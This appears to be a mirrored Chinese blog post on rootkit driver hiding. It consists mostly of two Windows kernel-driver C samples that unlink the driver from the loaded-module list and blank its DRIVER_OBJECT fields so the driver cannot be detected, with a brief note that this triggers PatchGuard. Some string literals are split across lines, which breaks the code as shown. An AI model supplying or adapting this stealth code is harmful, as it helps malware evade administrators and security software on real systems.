zoukankan      html  css  js  c++  java
  • [Rootkit] 驱动隐藏

    注意 : 此方法会触发 PG

    代码参考 1

    typedef struct _driverdata
    {
    	LIST_ENTRY listentry;
    	ULONG unknown1;
    	ULONG unknown2;
    	ULONG unknown3;
    	ULONG unknown4;
    	ULONG unknown5;
    	ULONG unknown6;
    	ULONG unknown7;
    	UNICODE_STRING path;
    	UNICODE_STRING name;
    }driverdata;
    
    
    
    VOID xiezai1(PDRIVER_OBJECT qudongduixiang)
    {
       
    	KdPrint(("驱动卸载
    "));
    }
     
    NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao)
    {
    	KdPrint(("驱动入口开始
    "));
    	driverdata*driverdata1 = NULL;
    	driverdata1 = *(driverdata**)((ULONG)qudongduixiang + 20);
    	if (driverdata1!=NULL)
    	{
    		*(ULONG*)driverdata1->listentry.Blink = (ULONG)driverdata1->listentry.Flink;
    		driverdata1->listentry.Flink->Blink = driverdata1->listentry.Blink;
    	}
    	qudongduixiang->DriverUnload = xiezai1;
    	return STATUS_SUCCESS;
    }
    

    代码参考 2

    #include "ntddk.h"
    HANDLE hThread;
    VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
    {
    	DbgPrint("驱动卸载成功
    ");
    }
    
    VOID ThreadRun(
    	 PVOID StartContext)
    {
    	LARGE_INTEGER times;
    	PDRIVER_OBJECT pDriverObject;
    	times.QuadPart = -30 * 1000 * 1000;  //等待3秒  单位是纳秒
    	
    	KeDelayExecutionThread(KernelMode, FALSE, &times);
    	pDriverObject=(PDRIVER_OBJECT)StartContext;
    	//修改模块信息
    	pDriverObject->DriverSize = 0;
    	pDriverObject->DriverSection = NULL;
    	pDriverObject->DriverExtension = NULL;
    	pDriverObject->DriverStart = NULL;
    	pDriverObject->DriverInit = NULL;
    	pDriverObject->FastIoDispatch = NULL;
    	pDriverObject->DriverStartIo = NULL;
    	
    	ZwClose(hThread);
    }
    
    
    NTSTATUS	DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pReg)
    {
    	PLIST_ENTRY pModuleList;
    	pModuleList = pDriverObject->DriverSection;
    	
    	//前一个模块的Flink=本模块的Flink
    	pModuleList->Blink->Flink = pModuleList->Flink;
    	//前一个模块的Blink=本模块的Blink
    	pModuleList->Flink->Blink = pModuleList->Blink;
    	PsCreateSystemThread(&hThread,GENERIC_ALL,NULL,NULL,NULL, ThreadRun, pDriverObject);
    	return 0;
    }
    

    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
  • 相关阅读:
    AtCoder Grand Contest 015 题解
    AtCoder Grand Contest 014 题解
    AtCoder Grand Contest 013 题解
    AtCoder Grand Contest 012 题解
    AtCoder Grand Contest 011 题解
    AtCoder Grand Contest 010 题解
    AtCoder Grand Contest 009 题解
    NOIP2017 Day2 题解
    博客园主题备份
    多项式全家桶
  • 原文地址:https://www.cnblogs.com/LyShark/p/15018889.html
Copyright © 2011-2022 走看看